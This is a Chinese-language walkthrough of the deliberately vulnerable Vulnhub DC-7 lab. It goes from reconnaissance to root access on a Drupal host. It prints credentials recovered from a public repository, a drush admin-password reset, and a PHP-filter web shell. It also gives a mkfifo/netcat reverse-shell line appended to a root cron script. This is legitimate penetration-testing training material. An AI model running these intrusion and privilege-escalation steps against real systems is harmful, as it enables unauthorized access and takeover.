Vulnhub靶机:DC-7

标签信息泄露Drupal CMS反弹shelllinux提权

0x00 环境准备

下载地址:https://www.vulnhub.com/entry/dc-7,356/
flag数量:1
攻击机:kali
攻击机地址:192.168.1.31
靶机描述:

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

While this isn't an overly technical challenge, it isn't exactly easy.

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.

What you will need to do, is to think "outside" of the box.

Waaaaaay "outside" of the box. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

在靶机描述中,有个提示,就是Waaaaaay "outside" of the box. :-),这是一个信息泄露,虽然在实战中也会用到,不过这需要一点脑洞,当然更需要运气。

0x01 信息搜集

1.探测靶机地址

命令:arp-scan -l

靶机地址是192.168.1.35

2.探测靶机开放端口

命令:nmap -sV -p- 192.168.1.35

开放了22和80端口,先看一下80端口


是Drupal CMS。根据上面的靶机描述,大概意思是说不要尝试爆破,方式在盒子外面。看了一下表哥的文章,才发现突破点。(反正我是没有想到)

0x02 信息泄露

突破点:


放到搜索引擎搜一下


发现了一个GitHub账号,点进去看看有没有什么线索,地址:https://github.com/Dc7User/staffdb

config.php文件中发现了数据库的账号密码dc7user \ MdR3xOgB7#dW。但是刚才使用nmap扫描并没有看到数据库的端口,那就尝试登陆一下网站后台,失败;再试试SSH,成功了。

0x03 Drush修改admin密码

输入sudo -l,发现不能提权

ssh登陆后发现有新邮件,ls查看一下,发现两个文件

一个是backups,这个应该是备份目录,backups备份文件里有两个gpg文件,这是加密文件,没有密码本看不了;还有一个mbox文件,

mbox文件说明:
在linux下的邮件一般有两种形式,一种是mbox形式,一种是maildir形式,mbox是以一个txt文件的形式存储用户的邮件,而maildir是以一个目录的形式,目录下又分成tmp,cur,new三个目录,用户写邮件、发送邮件、接收邮件将使用不同的目录。

刚才登录的时候也提示有新邮件,那就看一下mbox吧


在最后新收到的邮件中发现备份文件的sh文件,看一下


backups.sh文件中主要发现了两个命令,一个是gpg,加密命令,这里可以看到加密方式,在前面看到的gpg文件可以解密了,不过我偷看了一下参考答案,发现解密文件没有太大的作用。还有一个命令是drush命令。

Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。

Drush命令可以修改网站后台admin用户的密码,命令:drush user-password admin --password="123456"
需要注意的是,使用drush命令的时候要先切换到项目根目录,也就是网站源码所在的目录,不然会报错,网站目录一般在/var/www/html

修改成功了,去后台登录一下看看


成功登录后台。

0x04 反弹shell

既然可以登录后台,那就可以尝试写入一句话getshell。
Drupal 8不支持PHP代码,Drupal 8后为了安全,需要将php单独作为一个模块导入,插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
下面进行进行安装:

然后输入项目地址,点击安装


选择第二个选项


然后向下拉,找到FILTERS选项,勾选PHP Filter选项,点击安装


安装成功了


接下来在选择一个页面写入PHP一句话,我就在欢迎页面写了。
既然能写一句话那也能直接反弹shell呀,何必连菜刀再反弹shell呢。


在kali上监听4444端口,访问网站主页,发现已经连接上了

输入命令:python -c 'import pty;pty.spawn("/bin/bash")'

0x05 提权

刚才用到的/opt/scripts/backups.sh文件发现拥有者是root,而root在www-data组里,所以我们当前的身份可以对backups.sh文件进行读写执行操作。那么我们就用这个文件进行提权。
在backups.sh文件写入反弹shell代码:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.31 7777 >/tmp/f" >> backups.sh
注意把地址修改成kali的地址和端口。

backups.sh文件大约每15分钟运行一次,耐心等待反弹。可以刷会B站喝杯茶。(如果很久都没有反弹shell,那就查看一下上面命令中攻击机的地址和端口是否填写正确,别问我为什么提示这个。
反弹过来了

flag就在/root目录下


由于我不会每天都登录,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“”


参考链接

1.Vulnhub靶机实战——DC-7
2.Vulnhub_DC7 记录
3.mbox与maildir

你可能感兴趣的:(Vulnhub靶机:DC-7)